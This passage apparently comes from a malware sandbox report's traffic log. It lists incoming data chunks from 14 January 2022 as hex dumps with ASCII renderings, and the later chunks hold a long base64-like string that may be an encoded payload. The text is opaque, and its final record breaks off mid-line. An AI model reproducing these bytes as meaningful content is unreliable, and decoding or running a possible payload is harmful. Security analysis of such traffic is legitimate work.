2022-01-14 01:04:32 UTC	198	IN	Data Raw: 87 9d 8f 8e da 27 07 57 0f 11 61 94 bd 3d 05 8a 39 e5 07 93 3c 26 2e 7b 72 c1 c3 52 f1 fa 0d 6f 2f fa 28 0d 51 86 64 9c a0 e8 29 c7 73 b5 2f 56 bc 6f 0c a4 c0 81 cf 71 3e fd e5 84 18 02 d8 07 42 c1 53 2d 40 84 3e 5a f3 e4 69 07 33 91 2f 39 b7 19 85 df a2 2b dd a0 d3 eb 07 ce b8 0b 5b 8a 21 a1 fe 89 30 4b 88 e7 8e 7a d1 53 2c b1 31 41 c0 64 7e fd c4 f2 8d fd 0d 4d 62 a6 b0 44 cb 92 26 32 95 29 5a 3f e0 58 9c cd 81 10 9c 6c 3e 76 fb 69 e5 54 e1 36 e9 64 c2 07 87 75 07 6f 4f d8 b6 57 d9 5d ec 3e 36 c7 64 b1 74 04 9a 4d 80 ac e8 96 77 f3 27 9b 88 6f cd 2a 8f ed 4a 7f 00 66 88 18 e5 2e 0b 3a d5 bc 41 b6 96 ad c0 4d 6b ac 0e d9 a3 b6 57 3b c0 db e7 77 e6 d1 e2 89 0f 5a ce d8 b9 1d 65 d3 af 04 7c 52 53 9f 4f 3a 72 db 38 25 2a ca 48 4b 5f 1f 6d 31 f1 6a 54 b1 66 Data Ascii: 'Wa=9<&.{rRo/(Qd)s/Voq>BS-@>Zi3/9+[!0KzS,1Ad~MbD&2)Z?Xl>viT6duoOW]>6dtMw'oJf.:AMkW;wZe\|RSO:r8%HK_m1jTf
2022-01-14 01:04:32 UTC	202	IN	Data Raw: 31 ff 68 48 9d 80 25 d9 02 1b ae 8b 3b 6e de 0f 18 af 5b a4 13 82 e5 6f 16 8a 28 8a 84 f7 d1 4e 5d fe 79 83 59 6c a9 d7 44 a3 fa fe 7e ae 03 04 b9 f2 35 90 c2 dd 77 a3 69 bb ca cc 08 48 d5 88 0b e1 7d 13 9d 73 ba 8d f2 65 63 ba 13 17 a0 b0 06 38 e3 b0 7d d1 f6 fe 86 d6 6a 25 31 09 33 4e 04 05 21 df e4 77 c4 01 a7 41 81 40 db 96 96 e4 80 f2 b2 c4 31 5d 3d c1 b1 76 93 f4 09 c2 44 6c e8 8f ce aa a1 6f eb c7 5d 3e 50 75 d7 85 ea 4d 63 64 ef 64 20 1b b4 d4 07 a7 5a 7e ce 54 83 8c 68 52 d5 a4 b5 df 82 e5 6c c6 aa 81 eb 61 f6 24 84 ad 8f 3c 69 9e 1b cd 6e 05 43 3a 08 95 93 39 79 eb 06 9a 66 12 65 b5 3e 97 25 bf 78 aa ac 7c 41 4b d4 20 de 73 db 3c 2f 32 50 c3 36 48 64 00 a0 5d 97 b8 d1 91 af 07 a7 67 ea 2f 22 0e 71 d6 f5 72 c2 c5 68 78 3f b0 86 ec 90 20 b0 b3 f6 Data Ascii: 1hH%;n[o(N]yYlD~5wiH}sec8}j%13N!wA@1]=vDlo]>PuMcdd Z~ThRla$<inC:9yfe>%x\|AK s</2P6Hd]g/"qrhx?
2022-01-14 01:04:32 UTC	206	IN	Data Raw: e0 c9 cd b4 17 66 3c b0 3a 85 fc 54 f2 1a 6c db 4e f2 69 43 ff 7f bd 32 02 aa 11 be 4a d6 ce 71 6f 97 ca a5 8f 2d da 97 80 3c 7f 37 f6 3d 1d 42 44 da 5c 77 2d f9 ae a8 bf 23 b6 1c c6 f7 25 40 1e 95 ac ee 24 15 80 40 76 91 a1 76 1b 48 2c 9b fe f2 34 ad b8 6e cb c3 51 91 88 e9 1e 39 ea 20 e2 9e 7c c3 dc 96 af 93 ce 7d bd 55 86 ae f8 e0 a5 e4 6f 0b d4 6f 7a 32 98 0e 98 b5 eb e9 28 25 fa cb 6b ab 23 6a 59 28 42 d0 87 57 c6 c3 6a eb 30 a1 ff 1c 50 a4 dc da fc 67 d2 e7 64 3a c6 c7 a2 47 7f 78 4a d9 fa 7c fd c1 96 18 98 9a 66 7e ce 86 e4 b5 e8 4c 87 df 96 9a ff 12 5a bb f1 05 73 5e 18 30 94 dc c5 e0 63 c7 c8 02 c7 71 2a f9 e1 2d 53 d7 53 97 d6 bf 92 6b b8 5c 81 ce 5b a6 06 e6 23 0e 91 a8 7e b1 9a 48 94 ac e9 ca a0 e1 55 e3 71 97 db 10 a3 10 12 20 b5 cd 08 94 0f Data Ascii: f<:TlNiC2Jqo-<7=BD\w-#%@$@vvH,4nQ9 \|}Uooz2(%k#jY(BWj0Pgd:GxJ\|f~LZs^0cq*-SSk\[#~HUq
2022-01-14 01:04:32 UTC	210	IN	Data Raw: 84 a1 7f 94 87 ee 95 6b 57 e6 36 41 89 40 8b 02 00 b7 6f b2 67 24 f1 65 96 a3 73 2d 00 cb 10 bf c1 33 d3 01 2c 5a 97 10 fc ad e6 89 d0 01 4c ad 76 6b d1 86 87 8b 38 76 25 be 35 89 1c 68 ac 5d 07 18 87 cb 41 b6 ee c2 32 58 11 f5 06 9c 84 e4 ee 53 23 2f 31 04 67 56 41 34 97 e2 d8 6a 20 4a 90 57 08 d4 29 62 61 ba 3c b0 f1 4c bc 3c f7 2a e1 d5 3a 5d 50 02 01 88 c9 7b 08 db 92 fa 5b ba 84 04 5b 37 e3 33 f7 ef 3c 7f 95 d3 35 8e 47 8e 0b 5e c6 30 ee 81 83 77 c9 e1 e8 94 c1 e3 01 97 93 f6 2b b1 7e c2 5d 4d 6b 4b f0 a5 09 7b 7b ce b6 2c 8b 95 32 83 65 70 b6 f9 23 89 fe be a8 2e 14 31 d0 41 44 41 97 01 46 31 92 5b 0a 83 98 61 b5 ec 96 cd 45 a8 f0 30 49 a9 2c 15 05 05 e9 a6 6a 74 06 b3 34 6f e2 01 ec c3 82 74 77 6c e0 47 bf 7a 9a 67 f1 a2 2d 9a b1 07 f5 b0 0d 45 37 Data Ascii: kW6A@og$es-3,ZLvk8v%5h]A2XS#/1gVA4j JW)ba<L<*:]P{[[73<5G^0w+~]MkK{{,2ep#.1ADAF1[aE0I,jt4otwlGzg-E7
2022-01-14 01:04:32 UTC	214	IN	Data Raw: fd c1 5b 0a a3 e4 53 01 dd 3c 7c a7 f6 d9 a9 b3 72 f2 0c 1c 71 c0 73 06 6b d3 70 9d 66 97 7a 09 96 06 2e f9 6a 5b 39 6a cb 91 b3 fd a9 20 e0 8e 82 27 71 0f 9e 79 38 e2 24 47 cc 9e e0 6a 43 ff 2d ad bb 5f d9 b5 ac 24 10 a9 56 68 ea 41 22 3d 29 e5 83 ab d4 5b 72 bf ca 67 41 f0 1c 4e c3 52 21 79 be 03 b3 e9 74 7a 75 d9 cd e2 73 1e b4 8f fc 1a 17 4e 4e 98 b9 4a a0 ff 89 74 37 56 c8 4d d8 af 29 d3 df 0a ba a6 c9 33 1a 35 32 c3 f6 a5 45 35 f2 4c 62 a2 3a 2a b1 89 ef ae 37 4d 6e 70 a0 b1 9d 6d 76 65 00 36 27 cb 10 fc 8e 00 ff 32 93 4b 9d 10 67 f6 b8 89 56 c7 72 f8 ab 4e 24 f5 56 7c 32 c1 7a 18 60 af 6c 45 74 23 97 e2 6b 9d e8 7b dc 4f ad cc 3c 14 59 ed 9e 57 86 b0 b7 25 bd 4a 11 88 e1 8f 1a f0 e2 4a 96 94 61 7c d3 ee 0d cd 44 d6 0b 21 9c d9 17 33 c9 7d 2b 51 af Data Ascii: [S<\|rqskpfz.j[9j 'qy8$GjC-_$VhA"=)[rgANR!ytzusNNJt7VM)352E5Lb:*7Mnpmve6'2KgVrN$V\|2z`lEt#k{O<YW%JJa\|D!3}+Q
2022-01-14 01:04:32 UTC	224	IN	Data Raw: bd fc b4 49 5f 7d 56 1d 4b 29 11 be 4d ab 0e 4b db 8d 74 db 12 16 7f 1d d3 b9 0f ed 55 fd 5a ef da ca 86 2a d3 43 2d 23 86 43 37 1f 93 ad 06 be 39 71 82 da f5 0d 9e 64 f1 1f ac d4 52 6f 06 d7 52 49 02 01 30 36 9f b3 eb cf 4b 21 52 56 95 c7 91 c8 5b 65 01 41 13 e3 22 98 8c 44 a4 e2 98 8d 4b 10 71 1c 9c 06 e1 b5 ae 96 8b ca 7c c8 66 45 b1 a3 fa 3e 6e 2f 41 21 eb 72 ff c8 bf ed 02 0c 57 f0 ba f9 6a 8b 17 7d ea 5e 06 99 4a d7 62 d4 8d 36 58 2c bc 66 4a 81 99 d2 06 92 c0 1f eb 5e 40 27 1a 1f 20 ff f9 45 f3 92 53 3b aa 4c 92 df 61 7d 9a aa 63 47 64 63 ef 7a ce bd 2a fe cd 5a d5 8b 21 4a e9 fe 06 4a 6c 1f b4 a7 d8 a6 48 49 b6 cc 73 94 a1 8c ac d9 5a dd cf ad e1 8a 75 f5 68 55 72 61 e5 34 df 52 b6 b7 23 58 e3 b2 bf 36 7b 94 74 91 45 58 06 78 79 30 f4 f8 57 07 10 Data Ascii: I_}VK)MKtUZC-#C79qdRoRI06K!RV[eA"DKq\|fE>n/A!rWj}^Jb6X,fJ^@' ES;La}cGdczZ!JJlHIsZuhUra4R#X6{tEXxy0W
2022-01-14 01:04:32 UTC	230	IN	Data Raw: 17 22 9e 50 6f de 9c f1 3a f4 18 94 aa 33 5e 1b 36 e8 a5 a7 37 ad b3 e0 db b3 e7 d2 d5 67 1a e5 55 29 5b 5d 46 0d 0a f4 10 6c b5 77 a4 59 01 f6 07 f9 44 e1 c9 7a a8 54 78 7d ad a8 5e db 11 8f 37 2a dd 39 39 35 7a ec f8 60 ae af 42 51 b5 c5 2b 31 d0 8d 64 05 1c a8 36 3c 73 c2 a8 21 30 b6 e5 0e 2a 64 e5 41 1d 0d c1 c2 2c e8 f5 3f e1 78 24 92 c0 8a 19 4e 4b 68 47 23 0f 91 82 23 bf 8f 0e 06 50 ff 2c 33 89 a8 52 5d 97 0a 5e 7d 7b cd f6 f0 e1 df ae 23 08 a2 29 94 23 34 96 76 69 a6 31 f4 cc 9d 88 e0 f3 20 ea 33 d0 af b1 73 be 3e a8 dc 89 62 87 9f d8 f0 1f b2 66 42 47 65 91 0f 76 fc 87 ab d8 99 21 7d d7 26 72 6d d9 7e f0 0c df 46 17 ca 5a 31 45 ef 35 1b 03 5a 08 f3 dc 1c b6 5e b6 ba b0 fa 6e 8e a1 c5 15 bc 37 80 b6 12 37 7e d5 1c f5 db 36 bb bb 54 20 31 43 57 4a Data Ascii: "Po:3^67gU)[]FlwYDzTx}^7995z`BQ+1d6<s!0dA,?x$NKhG##P,3R]^}{#)#4vi1 3s>bfBGev!}&rm~FZ1E5Z^n77~6T 1CWJ
2022-01-14 01:04:32 UTC	246	IN	Data Raw: a8 c8 bb 40 7f 88 af da bb 70 c4 5a 25 e9 06 99 42 80 1f 25 9e 88 d3 4b cb 35 7b 4f 0b 30 c5 bf 42 c0 cc b1 41 33 8e 39 cc 3b 6d 8e 04 49 fc c5 dd 5e 50 35 c2 a5 94 41 3d ff 9d 1b 31 3b 5a e4 6b 5e d5 30 dc 3e 73 d8 54 9f 6f 42 2b 3a 9b 54 4f 47 4c 90 8b 77 bf 3f 49 08 87 7e 86 74 f3 68 23 ba c8 d9 8f c4 d1 6c 11 e2 d1 05 31 9b ed 24 44 4f 38 9c ea 25 de 2a 71 3e c5 ee 0e ee b9 dc db 87 98 8d 85 81 f1 d4 72 93 80 30 1f 3a 5a 09 22 6c 5d 2c 66 89 75 51 f0 b4 42 6e 5e dc 9c c8 0b fd 5a 0b e2 41 1c 5f 1d 50 4f 58 f7 74 09 05 5e f2 6a 84 fc 6d 13 63 0c 16 1f d1 e7 6a d0 e8 de a4 03 6e 62 33 fa 64 14 40 6d fa e9 f8 fa 01 2d b7 a1 cc 30 72 4c e9 e8 22 7c bf b9 bf a0 c0 51 2c 22 fb 3b bb ba 4f 0a 82 18 11 1f 47 3a 3d 84 54 b8 8a 86 85 e4 98 ca 64 85 7b d4 27 bd Data Ascii: @pZ%B%K5{O0BA39;mI^P5A=1;Zk^0>sToB+:TOGLw?I~th#l1$DO8%*q>r0:Z"l],fuQBn^ZA_POXt^jmcjnb3d@m-0rL"\|Q,";OG:=Td{'
2022-01-14 01:04:32 UTC	260	IN	Data Raw: 72 00 63 00 6d 00 70 00 62 00 43 00 56 00 39 00 49 00 2f 00 4d 00 6e 00 65 00 78 00 6e 00 75 00 68 00 61 00 47 00 73 00 69 00 69 00 35 00 70 00 5a 00 55 00 6c 00 54 00 4c 00 4b 00 72 00 62 00 43 00 31 00 73 00 43 00 37 00 5a 00 4b 00 37 00 49 00 62 00 59 00 4d 00 65 00 6a 00 6a 00 6d 00 7a 00 70 00 35 00 36 00 6f 00 4a 00 56 00 41 00 51 00 2b 00 35 00 31 00 76 00 2b 00 38 00 38 00 65 00 62 00 33 00 4b 00 6a 00 5a 00 42 00 51 00 65 00 37 00 45 00 4e 00 41 00 65 00 51 00 6d 00 32 00 52 00 63 00 7a 00 50 00 6d 00 67 00 34 00 67 00 65 00 5a 00 6a 00 58 00 46 00 6b 00 39 00 79 00 54 00 55 00 73 00 61 00 57 00 2f 00 79 00 49 00 6d 00 4e 00 44 00 75 00 66 00 76 00 46 00 45 00 44 00 4a 00 4e 00 2b 00 41 00 33 00 52 00 6d 00 63 00 57 00 4d 00 31 00 78 00 57 00 78 Data Ascii: rcmpbCV9I/MnexnuhaGsii5pZUlTLKrbC1sC7ZK7IbYMejjmzp56oJVAQ+51v+88eb3KjZBQe7ENAeQm2RczPmg4geZjXFk9yTUsaW/yImNDufvFEDJN+A3RmcWM1xWx
2022-01-14 01:04:32 UTC	276	IN	Data Raw: 2b 00 30 00 59 00 4e 00 68 00 5a 00 66 00 64 00 76 00 62 00 4c 00 64 00 43 00 6f 00 47 00 58 00 48 00 47 00 75 00 52 00 31 00 4f 00 38 00 4f 00 62 00 79 00 45 00 32 00 71 00 38 00 43 00 49 00 4c 00 35 00 55 00 55 00 64 00 79 00 50 00 59 00 64 00 6f 00 5a 00 72 00 65 00 75 00 42 00 39 00 6a 00 4d 00 75 00 69 00 6f 00 64 00 4f 00 74 00 6e 00 6a 00 49 00 55 00 4e 00 75 00 71 00 35 00 46 00 69 00 4f 00 6d 00 33 00 48 00 67 00 48 00 71 00 6e 00 38 00 69 00 76 00 72 00 45 00 36 00 54 00 49 00 38 00 39 00 42 00 30 00 4d 00 75 00 75 00 2b 00 42 00 6f 00 51 00 68 00 59 00 68 00 34 00 70 00 45 00 52 00 61 00 4b 00 62 00 6e 00 52 00 66 00 4a 00 33 00 6e 00 69 00 32 00 54 00 50 00 6d 00 6e 00 4b 00 2f 00 39 00 58 00 56 00 41 00 54 00 4a 00 70 00 50 00 44 00 41 00 32 Data Ascii: +0YNhZfdvbLdCoGXHGuR1O8ObyE2q8CIL5UUdyPYdoZreuB9jMuiodOtnjIUNuq5FiOm3HgHqn8ivrE6TI89B0Muu+BoQhYh4pERaKbnRfJ3ni2TPmnK/9XVATJpPDA2
2022-01-14 01:04:32 UTC	292	IN	Data Raw: 70 00 48 00 63 00 75 00 4b 00 55 00 61 00 4a 00 62 00 7a 00 70 00 4a 00 58 00 35 00 30 00 4f 00 37 00 6c 00 63 00 76 00 41 00 2f 00 62 00 4b 00 64 00 68 00 47 00 50 00 42 00 37 00 39 00 44 00 75 00 4d 00 63 00 35 00 79 00 54 00 55 00 2f 00 54 00 2f 00 50 00 62 00 53 00 6a 00 74 00 6e 00 79 00 7a 00 30 00 6a 00 31 00 38 00 74 00 4b 00 2f 00 6e 00 63 00 71 00 75 00 73 00 31 00 78 00 65 00 4e 00 32 00 44 00 56 00 72 00 46 00 73 00 65 00 49 00 47 00 36 00 53 00 6c 00 72 00 52 00 58 00 63 00 73 00 6c 00 61 00 63 00 65 00 53 00 77 00 4c 00 55 00 76 00 49 00 75 00 2b 00 62 00 51 00 79 00 67 00 4a 00 4d 00 48 00 78 00 4c 00 68 00 35 00 37 00 66 00 43 00 79 00 73 00 6c 00 4b 00 56 00 57 00 61 00 61 00 79 00 47 00 75 00 76 00 75 00 6e 00 63 00 79 00 71 00 33 00 66 Data Ascii: pHcuKUaJbzpJX50O7lcvA/bKdhGPB79DuMc5yTU/T/PbSjtnyz0j18tK/ncqus1xeN2DVrFseIG6SlrRXcslaceSwLUvIu+bQygJMHxLh57fCyslKVWaayGuvuncyq3f
2022-01-14 01:04:32 UTC	308	IN	Data Raw: 6f 00 4f 00 38 00 51 00 6f 00 75 00 65 00 39 00 2f 00 38 00 36 00 6e 00 35 00 62 00 72 00 79 00 73 00 63 00 49 00 44 00 39 00 74 00 53 00 71 00 34 00 46 00 38 00 32 00 55 00 55 00 78 00 55 00 33 00 2f 00 2b 00 76 00 4b 00 6d 00 4d 00 73 00 63 00 48 00 32 00 64 00 31 00 4c 00 78 00 34 00 5a 00 30 00 55 00 6a 00 42 00 47 00 46 00 63 00 62 00 78 00 62 00 41 00 34 00 6e 00 6f 00 34 00 45 00 32 00 56 00 36 00 6b 00 71 00 69 00 76 00 69 00 52 00 4b 00 4b 00 44 00 68 00 30 00 44 00 6d 00 58 00 65 00 57 00 67 00 62 00 4a 00 51 00 48 00 50 00 51 00 59 00 33 00 41 00 4b 00 56 00 55 00 67 00 46 00 6f 00 74 00 46 00 37 00 66 00 74 00 54 00 6f 00 57 00 32 00 35 00 77 00 51 00 4b 00 39 00 31 00 50 00 79 00 69 00 32 00 58 00 33 00 4f 00 4e 00 35 00 58 00 2b 00 58 00 55 Data Ascii: oO8Qoue9/86n5bryscID9tSq4F82UUxU3/+vKmMscH2d1Lx4Z0UjBGFcbxbA4no4E2V6kqiviRKKDh0DmXeWgbJQHPQY3AKVUgFotF7ftToW25wQK91Pyi2X3ON5X+XU
2022-01-14 01:04:32 UTC	324	IN	Data Raw: 4c 00 2f 00 4a 00 52 00 7a 00 33 00 79 00 42 00 67 00 41 00 2b 00 65 00 4a 00 74 00 33 00 37 00 63 00 57 00 4d 00 41 00 53 00 61 00 56 00 73 00 59 00 49 00 6e 00 33 00 68 00 34 00 52 00 55 00 46 00 2b 00 7a 00 46 00 74 00 69 00 65 00 56 00 6a 00 35 00 65 00 48 00 61 00 45 00 61 00 41 00 58 00 37 00 37 00 39 00 72 00 6c 00 38 00 73 00 69 00 6f 00 34 00 37 00 34 00 70 00 2b 00 2f 00 4e 00 6e 00 2f 00 79 00 58 00 53 00 6a 00 35 00 57 00 4f 00 68 00 39 00 61 00 6c 00 57 00 49 00 51 00 54 00 53 00 2f 00 47 00 77 00 33 00 4a 00 54 00 63 00 6a 00 57 00 70 00 72 00 7a 00 35 00 6a 00 4c 00 53 00 6a 00 69 00 73 00 4d 00 68 00 63 00 59 00 59 00 69 00 51 00 39 00 64 00 72 00 6c 00 48 00 31 00 62 00 71 00 71 00 52 00 2b 00 49 00 42 00 31 00 41 00 34 00 51 00 55 00 47 Data Ascii: L/JRz3yBgA+eJt37cWMASaVsYIn3h4RUF+zFtieVj5eHaEaAX779rl8sio474p+/Nn/yXSj5WOh9alWIQTS/Gw3JTcjWprz5jLSjisMhcYYiQ9drlH1bqqR+IB1A4QUG
2022-01-14 01:04:32 UTC	340	IN	Data Raw: 75 00 4b 00 78 00 47 00 72 00 4c 00 52 00 6a 00 32 00 6b 00 54 00 65 00 5a 00 4d 00 6c 00 37 00 76 00 79 00 4d 00 61 00 6c 00 72 00 2f 00 45 00 77 00 69 00 72 00 70 00 49 00 2f 00 39 00 72 00 44 00 32 00 6e 00 75 00 67 00 31 00 34 00 58 00 33 00 66 00 6e 00 7a 00 4b 00 4c 00 31 00 58 00 65 00 51 00 31 00 61 00 61 00 46 00 35 00 32 00 62 00 65 00 57 00 34 00 35 00 52 00 2b 00 4c 00 52 00 57 00 32 00 54 00 4a 00 55 00 47 00 4f 00 69 00 59 00 73 00 73 00 6d 00 46 00 4e 00 63 00 51 00 2f 00 34 00 6d 00 79 00 45 00 63 00 4a 00 36 00 49 00 75 00 6d 00 4b 00 44 00 74 00 54 00 50 00 2b 00 34 00 64 00 33 00 75 00 6d 00 72 00 66 00 68 00 67 00 67 00 37 00 37 00 61 00 6b 00 58 00 75 00 6a 00 71 00 44 00 71 00 47 00 62 00 67 00 64 00 66 00 38 00 38 00 73 00 32 00 62 Data Ascii: uKxGrLRj2kTeZMl7vyMalr/EwirpI/9rD2nug14X3fnzKL1XeQ1aaF52beW45R+LRW2TJUGOiYssmFNcQ/4myEcJ6IumKDtTP+4d3umrfhgg77akXujqDqGbgdf88s2b
2022-01-14 01:04:32 UTC	356	IN	Data Raw: 32 00 64 00 38 00 76 00 54 00 63 00 39 00 4d 00 38 00 43 00 33 00 78 00 6b 00 79 00 57 00 59 00 41 00 36 00 39 00 74 00 31 00 54 00 36 00 75 00 48 00 42 00 53 00 58 00 57 00 76 00 62 00 71 00 39 00 38 00 49 00 70 00 6b 00 46 00 50 00 76 00 70 00 38 00 4a 00 76 00 58 00 50 00 32 00 42 00 7a 00 51 00 56 00 77 00 62 00 47 00 47 00 6d 00 55 00 78 00 65 00 32 00 52 00 6e 00 71 00 53 00 36 00 6e 00 44 00 50 00 49 00 63 00 41 00 37 00 6f 00 6b 00 4a 00 48 00 77 00 4a 00 76 00 56 00 2f 00 39 00 63 00 4a 00 66 00 59 00 66 00 4e 00 59 00 6d 00 45 00 74 00 61 00 53 00 69 00 59 00 6d 00 55 00 70 00 59 00 53 00 63 00 6e 00 53 00 37 00 57 00 42 00 52 00 53 00 59 00 59 00 2f 00 72 00 4c 00 67 00 70 00 77 00 6b 00 53 00 72 00 35 00 39 00 63 00 76 00 56 00 54 00 63 00 49 Data Ascii: 2d8vTc9M8C3xkyWYA69t1T6uHBSXWvbq98IpkFPvp8JvXP2BzQVwbGGmUxe2RnqS6nDPIcA7okJHwJvV/9cJfYfNYmEtaSiYmUpYScnS7WBRSYY/rLgpwkSr59cvVTcI
2022-01-14 01:04:32 UTC	372	IN	Data Raw: 42 00 59 00 54 00 4a 00 55 00 44 00 55 00 4d 00 54 00 61 00 42 00 71 00 77 00 63 00 35 00 49 00 58 00 64 00 55 00 41 00 59 00 6c 00 6a 00 4e 00 44 00 72 00 2f 00 58 00 35 00 49 00 4d 00 4b 00 50 00 2b 00 48 00 67 00 38 00 70 00 48 00 4e 00 57 00 38 00 42 00 36 00 4f 00 34 00 61 00 6a 00 63 00 6e 00 4c 00 30 00 58 00 48 00 49 00 6b 00 32 00 39 00 52 00 65 00 31 00 50 00 59 00 4e 00 53 00 48 00 57 00 30 00 43 00 6e 00 6a 00 61 00 68 00 46 00 56 00 32 00 61 00 62 00 74 00 43 00 35 00 79 00 45 00 39 00 50 00 34 00 52 00 6f 00 6b 00 59 00 73 00 2b 00 5a 00 35 00 69 00 69 00 79 00 70 00 51 00 59 00 51 00 2f 00 43 00 79 00 76 00 52 00 63 00 30 00 52 00 32 00 4d 00 6b 00 44 00 54 00 57 00 61 00 79 00 55 00 4e 00 4d 00 7a 00 74 00 4e 00 45 00 6d 00 2b 00 4c 00 39 Data Ascii: BYTJUDUMTaBqwc5IXdUAYljNDr/X5IMKP+Hg8pHNW8B6O4ajcnL0XHIk29Re1PYNSHW0CnjahFV2abtC5yE9P4RokYs+Z5iiypQYQ/CyvRc0R2MkDTWayUNMztNEm+L9
2022-01-14 01:04:32 UTC	388	IN	Data Raw: 79 00 45 00 75 00 71 00 78 00 38 00 51 00 34 00 54 00 58 00 56 00 6d 00 32 00 63 00 69 00 57 00 55 00 4c 00 4b 00 41 00 4a 00 5a 00 4a 00 77 00 4c 00 57 00 73 00 55 00 2f 00 45 00 69 00 44 00 79 00 4f 00 68 00 62 00 72 00 49 00 68 00 49 00 77 00 63 00 49 00 78 00 79 00 72 00 75 00 63 00 49 00 6a 00 4d 00 41 00 4d 00 55 00 49 00 6a 00 61 00 58 00 43 00 4b 00 69 00 34 00 63 00 32 00 4f 00 4f 00 58 00 74 00 6f 00 73 00 6b 00 78 00 69 00 64 00 6a 00 65 00 38 00 54 00 52 00 70 00 43 00 54 00 79 00 33 00 71 00 67 00 39 00 52 00 7a 00 2f 00 50 00 45 00 66 00 6f 00 38 00 63 00 49 00 63 00 42 00 44 00 63 00 46 00 68 00 56 00 63 00 77 00 72 00 76 00 4c 00 48 00 78 00 45 00 69 00 55 00 77 00 6a 00 2f 00 4d 00 74 00 66 00 76 00 56 00 49 00 4a 00 68 00 42 00 4e 00 6c Data Ascii: yEuqx8Q4TXVm2ciWULKAJZJwLWsU/EiDyOhbrIhIwcIxyrucIjMAMUIjaXCKi4c2OOXtoskxidje8TRpCTy3qg9Rz/PEfo8cIcBDcFhVcwrvLHxEiUwj/MtfvVIJhBNl
2022-01-14 01:04:32 UTC	404	IN	Data Raw: 35 00 67 00 6c 00 71 00 35 00 67 00 42 00 43 00 4b 00 44 00 4f 00 63 00 46 00 57 00 66 00 70 00 55 00 2f 00 49 00 42 00 2f 00 2f 00 2f 00 33 00 42 00 47 00 35 00 34 00 63 00 69 00 6e 00 64 00 71 00 4e 00 49 00 34 00 34 00 70 00 4c 00 67 00 68 00 45 00 73 00 62 00 62 00 49 00 69 00 42 00 38 00 66 00 6d 00 70 00 65 00 4b 00 5a 00 78 00 62 00 4e 00 76 00 4e 00 75 00 31 00 61 00 67 00 6a 00 65 00 7a 00 6e 00 76 00 31 00 48 00 48 00 68 00 4b 00 58 00 51 00 51 00 2f 00 45 00 43 00 39 00 32 00 62 00 52 00 41 00 53 00 77 00 32 00 4b 00 75 00 55 00 75 00 54 00 69 00 6e 00 54 00 69 00 6f 00 55 00 6f 00 56 00 2b 00 42 00 50 00 71 00 35 00 77 00 2f 00 35 00 6c 00 4f 00 64 00 78 00 77 00 73 00 59 00 44 00 76 00 4c 00 74 00 55 00 5a 00 49 00 5a 00 32 00 53 00 49 00 56 Data Ascii: 5glq5gBCKDOcFWfpU/IB///3BG54cindqNI44pLghEsbbIiB8fmpeKZxbNvNu1agjeznv1HHhKXQQ/EC92bRASw2KuUuTinTioUoV+BPq5w/5lOdxwsYDvLtUZIZ2SIV
2022-01-14 01:04:32 UTC	420	IN	Data Raw: 42 00 4a 00 4f 00 65 00 53 00 50 00 50 00 35 00 75 00 68 00 50 00 5a 00 58 00 49 00 69 00 55 00 53 00 4a 00 38 00 72 00 56 00 57 00 62 00 65 00 72 00 44 00 71 00 6f 00 5a 00 49 00 75 00 64 00 6f 00 46 00 4c 00 58 00 55 00 35 00 71 00 58 00 71 00 2b 00 6a 00 6e 00 5a 00 55 00 50 00 65 00 6e 00 4e 00 50 00 4f 00 39 00 34 00 7a 00 6f 00 30 00 6e 00 32 00 53 00 7a 00 74 00 50 00 77 00 48 00 47 00 46 00 44 00 72 00 74 00 72 00 70 00 34 00 4b 00 77 00 5a 00 48 00 59 00 4d 00 58 00 34 00 36 00 67 00 6a 00 67 00 41 00 6c 00 74 00 61 00 70 00 55 00 47 00 76 00 70 00 59 00 67 00 4f 00 41 00 6b 00 42 00 79 00 34 00 77 00 78 00 77 00 41 00 6d 00 36 00 49 00 4e 00 41 00 49 00 56 00 59 00 4d 00 73 00 6d 00 72 00 39 00 36 00 65 00 33 00 67 00 2b 00 48 00 6d 00 50 00 41 Data Ascii: BJOeSPP5uhPZXIiUSJ8rVWberDqoZIudoFLXU5qXq+jnZUPenNPO94zo0n2SztPwHGFDrtrp4KwZHYMX46gjgAltapUGvpYgOAkBy4wxwAm6INAIVYMsmr96e3g+HmPA
2022-01-14 01:04:32 UTC	436	IN	Data Raw: 4c 00 48 00 55 00 52 00 6f 00 61 00 32 00 54 00 55 00 4b 00 49 00 55 00 5a 00 4b 00 46 00 76 00 38 00 64 00 57 00 39 00 61 00 4f 00 49 00 57 00 4a 00 44 00 4e 00 6c 00 53 00 42 00 74 00 55 00 64 00 6c 00 35 00 4b 00 38 00 6a 00 49 00 43 00 4b 00 45 00 41 00 65 00 6b 00 62 00 74 00 32 00 59 00 6e 00 77 00 59 00 42 00 47 00 32 00 6c 00 65 00 6e 00 39 00 55 00 6a 00 4a 00 32 00 44 00 43 00 6e 00 50 00 75 00 44 00 62 00 4e 00 74 00 33 00 35 00 70 00 65 00 43 00 6a 00 31 00 53 00 33 00 71 00 38 00 48 00 58 00 30 00 4b 00 38 00 64 00 68 00 47 00 72 00 63 00 65 00 2b 00 6d 00 56 00 59 00 63 00 4d 00 78 00 78 00 2b 00 54 00 45 00 38 00 6c 00 44 00 35 00 6d 00 32 00 65 00 77 00 51 00 38 00 41 00 45 00 6a 00 4e 00 41 00 73 00 4b 00 31 00 66 00 62 00 67 00 74 00 78 Data Ascii: LHURoa2TUKIUZKFv8dW9aOIWJDNlSBtUdl5K8jICKEAekbt2YnwYBG2len9UjJ2DCnPuDbNt35peCj1S3q8HX0K8dhGrce+mVYcMxx+TE8lD5m2ewQ8AEjNAsK1fbgtx
2022-01-14 01:04:32 UTC	452	IN	Data Raw: 78 00 49 00 7a 00 65 00 79 00 56 00 47 00 47 00 42 00 75 00 39 00 46 00 6f 00 75 00 4f 00 4a 00 6f 00 6a 00 39 00 45 00 4b 00 42 00 74 00 68 00 4a 00 66 00 59 00 34 00 4a 00 79 00 58 00 39 00 69 00 46 00 31 00 42 00 43 00 67 00 50 00 59 00 6b 00 62 00 47 00 67 00 6e 00 6c 00 6d 00 55 00 53 00 31 00 6f 00 32 00 65 00 2b 00 63 00 57 00 4b 00 56 00 4e 00 4c 00 58 00 66 00 37 00 68 00 48 00 2b 00 54 00 4d 00 63 00 6f 00 41 00 42 00 79 00 36 00 66 00 68 00 2b 00 78 00 6a 00 62 00 62 00 71 00 35 00 78 00 4f 00 32 00 44 00 38 00 2f 00 41 00 73 00 6c 00 72 00 5a 00 2b 00 44 00 62 00 53 00 6f 00 4e 00 70 00 50 00 58 00 62 00 58 00 37 00 62 00 34 00 57 00 35 00 73 00 4d 00 41 00 53 00 61 00 32 00 63 00 78 00 37 00 58 00 4f 00 6f 00 56 00 58 00 4b 